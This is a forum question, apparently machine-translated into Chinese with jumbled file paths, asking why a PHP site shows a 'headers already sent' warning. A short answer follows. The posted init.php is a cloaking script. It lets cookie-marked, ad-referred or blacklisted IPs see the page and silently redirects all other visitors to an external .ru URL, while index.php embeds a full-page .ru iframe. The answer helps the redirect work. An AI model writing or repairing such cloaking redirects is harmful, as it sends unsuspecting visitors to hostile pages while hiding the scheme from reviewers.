我有一個的index.php錯誤與頭
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>LOL!'</title>
<meta name="description" content="Hi oloo!!" />
<meta http-equiv="Content-Type" content="text/html; charset=CP1251" />
<iframe src="http://news.xxxxx.ru/hard/2010/10/28/104592/" frameborder="0" height="100%" width="100%" ></iframe>
</head>
<img src="http://www.xxxxx.ru/upload/iblock/27c/27caa04aac1fbc0f31f7964fc780b1b2.jpg" />
</html>
<?php
include_once ('init.php');
?>
而且的init.php
<?php
$waiting = 0;
$url = 'http://xxxxx.ru/gott.php?sid=3';
if($waiting == 1){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}
if (isset($_COOKIE['admin'])){
$admin = 1;
}
/*if (strstr($_SERVER['HTTP_REFERER'], 'away')){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}*/
if (strstr($_SERVER['HTTP_REFERER'], 'ads')){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}
$blacklist = file_get_contents('black.txt');
$rows_array = explode("\n", $blacklist);
foreach($rows_array as $k => $v){
if(trim($v) == $_SERVER['REMOTE_ADDR']){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}
}
if($admin != 1){
header('Location: '. $url);
exit();
}
?>
後,我加載的index.php我收到一個錯誤
警告:不能修改標題信息 - 頭已經由/安裝的存儲/ home93c/sub006/sc36756-TMH發送(輸出開始/mounted-storage/home93c/sub006/sc36756-TMHW/xxxxx.com/onarter/index.php:8) W/site.com/onarter/init.php在線42.我該如何擺脫這個問題?
確保最後>中的init.php後沒有尾隨空白(即使是返回) - ?其實,你可以擺脫>完全 –